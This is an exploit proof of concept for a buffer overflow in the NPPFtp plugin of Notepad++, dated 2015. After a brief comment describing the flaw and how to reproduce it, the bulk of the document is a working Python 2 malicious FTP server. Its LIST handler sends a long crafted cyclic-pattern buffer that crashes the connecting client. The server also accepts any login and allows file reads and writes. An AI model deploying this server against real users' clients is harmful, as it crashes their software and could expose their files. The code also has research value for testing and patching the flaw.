# Title : Notepad ++ NPPFtp Plugin Buffer Overflow # Date : 19/12/2015 # Author : R-73eN # Tested on : NPPFtp 0.26.3 (Latest Version) # Software : http://sourceforge.net/projects/nppftp/ # Vendor : https://notepad-plus-plus.org/ # ___ __ ____ _ _ # |_ _|_ __ / _| ___ / ___| ___ _ __ / | | # | || '_ | |_ / _ | | _ / _ '_ / _ | | # | || | | | _| (_) | |_| | __/ | | | / ___ | |___ # |___|_| |_|_| ___/ ____|___|_| |_| /_/ ______| # # A buffer overflow exists in the NPPftp plugin. When the plugin is connected to a malicious server # which server a crafted LIST response causes the application to crash. # # How to reproduce # # 1. Start this python server # 2. Open Notepad ++ , go to plugins , NPPFtp, Show windows # 3. Click on the gear button to create a new connection. # 4. Create the connection to connect to the server. # 5. Connect and the application will crash. import os,socket,threading,time allow_delete = False local_ip = "192.168.1.121"#socket.gethostbyname(socket.gethostname()) local_port = 21 currdir=os.path.abspath('.') buff = "rwxrwxrwx 1 1 00" + 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k6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn0Kn1Kn2Kn3Kn4Kn5Kn6Kn7Kn8Kn9Ko0Ko1Ko2Ko3Ko4Ko5Ko6Ko7Ko8Ko9Kp0Kp1Kp2Kp3Kp4Kp5Kp6Kp7Kp8Kp9Kq0Kq1Kq2Kq3Kq4Kq5Kq6Kq7Kq8Kq9Kr0Kr1Kr2Kr3Kr4Kr5Kr6Kr7Kr8Kr9Ks0Ks1Ks2Ks3Ks4Ks5Ks6Ks7Ks8Ks9Kt0Kt1Kt2Kt3Kt4Kt5Kt6Kt7Kt8Kt9Ku0Ku1Ku2Ku3Ku4Ku5Ku6Ku7Ku8Ku9Kv0Kv1Kv2Kv3Kv4Kv5Kv6Kv7Kv8Kv9Kw0Kw1Kw2Kw3Kw4Kw5Kw6Kw7Kw8Kw9Kx0Kx1Kx2Kx3Kx4Kx5Kx6Kx7Kx8Kx9Ky0Ky1Ky2Ky3Ky4Ky5Ky6Ky7Ky8Ky9Kz0Kz1Kz2Kz3Kz4Kz5Kz6Kz7Kz8Kz9La0La1La2La3La4La5La6La7La8La9Lb0Lb1Lb2Lb3Lb4Lb5Lb6Lb7Lb8Lb9Lc0Lc1Lc2Lc3Lc4Lc5Lc6Lc7Lc8Lc9Ld0Ld1Ld2Ld3Ld4Ld5Ld6Ld7Ld8Ld9Le0Le1Le2Le3Le4Le5Le6Le7Le8Le9Lf0Lf1Lf2Lf3Lf4Lf5Lf6Lf7Lf8Lf9Lg0Lg1Lg2Lg3Lg4Lg5Lg6Lg7Lg8Lg9Lh0Lh1Lh2Lh3Lh4Lh5Lh6Lh7Lh8Lh9Li0Li1Li2Li3Li4Li5Li6Li7Li8Li9Lj0Lj1Lj2Lj3Lj4Lj5Lj6Lj7Lj8Lj9Lk0Lk1Lk2Lk3Lk4Lk5Lk6Lk7Lk8Lk9Ll0Ll1Ll2Ll3Ll4Ll5Ll6Ll7Ll8Ll9Lm0Lm1Lm2Lm3Lm4Lm5Lm6Lm7Lm8Lm9Ln0Ln1Ln2Ln3Ln4Ln5Ln6Ln7Ln8Ln9Lo0Lo1Lo2Lo3Lo4Lo5Lo6Lo7Lo8Lo9Lp0Lp1Lp2Lp3Lp4Lp5Lp6Lp7Lp8Lp9Lq0Lq1Lq2Lq3Lq4Lq5Lq6Lq7Lq8Lq9Lr0Lr1Lr2Lr3Lr4Lr5Lr6Lr7Lr8Lr9Ls0Ls1Ls2Ls3Ls4Ls5Ls6Ls7Ls8Ls9Lt0Lt1Lt2Lt3Lt4Lt5Lt6Lt7Lt8Lt9Lu0Lu1Lu2Lu3Lu4Lu5Lu6Lu7Lu8Lu9Lv0Lv1Lv2Lv3Lv4Lv5Lv6Lv7Lv8Lv9Lw0Lw1Lw2Lw3Lw4Lw5Lw6Lw7Lw8Lw9Lx0Lx1Lx2Lx3Lx4Lx5Lx6Lx7Lx8Lx9Ly0Ly1Ly2Ly3Ly4Ly5Ly6Ly7Ly8Ly9Lz0Lz1Lz2Lz3Lz4Lz5Lz6Lz7Lz8Lz9Ma0Ma1Ma2Ma3Ma4Ma5Ma6Ma7Ma8Ma9Mb0Mb1Mb2Mb3Mb4Mb5Mb6Mb7Mb8Mb9Mc0Mc1Mc2Mc3Mc4Mc5Mc6Mc7Mc8Mc9Md0Md1Md2Md3Md4Md5Md6Md7Md8Md9Me0Me1Me2Me3Me4Me5Me6Me7Me8Me9Mf0Mf1Mf2Mf3Mf4Mf5Mf6Mf7Mf8Mf9Mg0Mg1Mg2Mg3Mg4Mg5Mg6Mg7Mg8Mg9Mh0Mh1Mh2Mh3Mh4Mh5Mh6Mh7Mh8Mh9Mi0Mi1Mi2Mi3Mi4Mi5Mi6Mi7Mi8Mi9Mj0Mj1Mj2Mj3Mj4Mj5Mj6Mj7Mj8Mj9Mk0Mk1Mk2Mk3Mk4Mk5Mk6Mk7Mk8Mk9Ml0Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9Mm0Mm1Mm2Mm3Mm4Mm5Mm6Mm7Mm8Mm9Mn0Mn1Mn2Mn3Mn4Mn5Mn6Mn7Mn8Mn9Mo0Mo1Mo2Mo3Mo4Mo5Mo6Mo7Mo8Mo9Mp0Mp1Mp2Mp3Mp4Mp5Mp6Mp7Mp8Mp9Mq0Mq1Mq2Mq3Mq4Mq5Mq6Mq7Mq8Mq9Mr0Mr1Mr2Mr3Mr4Mr5Mr6Mr7Mr8Mr9Ms0Ms1Ms2Ms3Ms4Ms5Ms6Ms7Ms8Ms9Mt0Mt1Mt2Mt3Mt4Mt5Mt6Mt7Mt8Mt9Mu0Mu1Mu2Mu3Mu4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M" class FTPserverThread(threading.Thread): def __init__(self,(conn,addr)): self.conn=conn self.addr=addr self.basewd=currdir self.cwd=self.basewd self.rest=False self.pasv_mode=False threading.Thread.__init__(self) def run(self): self.conn.send('220 Welcome!\r\n') while True: cmd=self.conn.recv(256) if not cmd: break else: print 'Recieved:',cmd try: func=getattr(self,cmd[:4].strip().upper()) func(cmd) except Exception,e: print 'ERROR:',e #traceback.print_exc() self.conn.send('500 Sorry.\r\n') def SYST(self,cmd): self.conn.send('215 UNIX Type: L8\r\n') def OPTS(self,cmd): if cmd[5:-2].upper()=='UTF8 ON': self.conn.send('200 OK.\r\n') else: self.conn.send('451 Sorry.\r\n') def USER(self,cmd): self.conn.send('331 OK.\r\n') def PASS(self,cmd): self.conn.send('230 OK.\r\n') #self.conn.send('530 Incorrect.\r\n') def QUIT(self,cmd): self.conn.send('221 Goodbye.\r\n') def NOOP(self,cmd): self.conn.send('200 OK.\r\n') def TYPE(self,cmd): self.mode=cmd[5] self.conn.send('200 Binary mode.\r\n') def CDUP(self,cmd): if not os.path.samefile(self.cwd,self.basewd): #learn from stackoverflow self.cwd=os.path.abspath(os.path.join(self.cwd,'..')) self.conn.send('200 OK.\r\n') def PWD(self,cmd): cwd=os.path.relpath(self.cwd,self.basewd) if cwd=='.': cwd='/' else: cwd='/'+cwd self.conn.send('257 "%s"\r\n' % cwd) def CWD(self,cmd): chwd=cmd[4:-2] if chwd=='/': self.cwd=self.basewd elif chwd[0]=='/': self.cwd=os.path.join(self.basewd,chwd[1:]) else: self.cwd=os.path.join(self.cwd,chwd) self.conn.send('250 OK.\r\n') def PORT(self,cmd): if self.pasv_mode: self.servsock.close() self.pasv_mode = False l=cmd[5:].split(',') self.dataAddr='.'.join(l[:4]) self.dataPort=(int(l[4])<<8)+int(l[5]) self.conn.send('200 Get port.\r\n') def PASV(self,cmd): # from http://goo.gl/3if2U self.pasv_mode = True self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.servsock.bind((local_ip,0)) self.servsock.listen(1) ip, port = self.servsock.getsockname() print 'open', ip, port self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' % (','.join(ip.split('.')), port>>8&0xFF, port&0xFF)) def start_datasock(self): if self.pasv_mode: self.datasock, addr = self.servsock.accept() print 'connect:', addr else: self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.datasock.connect((self.dataAddr,self.dataPort)) def stop_datasock(self): self.datasock.close() if self.pasv_mode: self.servsock.close() def LIST(self,cmd): self.conn.send('150 Here comes the directory listing.\r\n') self.start_datasock() for t in os.listdir(self.cwd): k=self.toListItem(os.path.join(self.cwd,t)) self.datasock.send(buff + buff + buff + '\r\n') print "[+] Crafted packet sent . . . [+]" #self.datasock.send(buff + buff + '\r\n') self.stop_datasock() self.conn.send('226 Directory send OK.\r\n') def toListItem(self,fn): st=os.stat(fn) fullmode='rwxrwxrwx' mode='' for i in range(9): mode+=((st.st_mode>>(8-i))&1) and fullmode[i] or '-' d=(os.path.isdir(fn)) and 'd' or '-' ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime)) return d+mode+' 1 user group '+str(st.st_size)+ftime+os.path.basename(fn) def MKD(self,cmd): dn=os.path.join(self.cwd,cmd[4:-2]) os.mkdir(dn) self.conn.send('257 Directory created.\r\n') def RMD(self,cmd): dn=os.path.join(self.cwd,cmd[4:-2]) if allow_delete: os.rmdir(dn) self.conn.send('250 Directory deleted.\r\n') else: self.conn.send('450 Not allowed.\r\n') def DELE(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) if allow_delete: os.remove(fn) self.conn.send('250 File deleted.\r\n') else: self.conn.send('450 Not allowed.\r\n') def RNFR(self,cmd): self.rnfn=os.path.join(self.cwd,cmd[5:-2]) self.conn.send('350 Ready.\r\n') def RNTO(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) os.rename(self.rnfn,fn) self.conn.send('250 File renamed.\r\n') def REST(self,cmd): self.pos=int(cmd[5:-2]) self.rest=True self.conn.send('250 File position reseted.\r\n') def RETR(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) #fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/') print 'Downlowding:',fn if self.mode=='I': fi=open(fn,'rb') else: fi=open(fn,'r') self.conn.send('150 Opening data connection.\r\n') if self.rest: fi.seek(self.pos) self.rest=False data= fi.read(1024) self.start_datasock() while data: self.datasock.send(data) data=fi.read(1024) fi.close() self.stop_datasock() self.conn.send('226 Transfer complete.\r\n') def STOR(self,cmd): fn=os.path.join(self.cwd,cmd[5:-2]) print 'Uplaoding:',fn if self.mode=='I': fo=open(fn,'wb') else: fo=open(fn,'w') self.conn.send('150 Opening data connection.\r\n') self.start_datasock() while True: data=self.datasock.recv(1024) if not data: break fo.write(data) fo.close() self.stop_datasock() self.conn.send('226 Transfer complete.\r\n') class FTPserver(threading.Thread): def __init__(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind((local_ip,local_port)) threading.Thread.__init__(self) def run(self): self.sock.listen(5) while True: th=FTPserverThread(self.sock.accept()) th.daemon=True th.start() def stop(self): self.sock.close() if __name__=='__main__': ftp=FTPserver() ftp.daemon=True ftp.start() print 'On', local_ip, ':', local_port raw_input('Enter to end...\n') ftp.stop()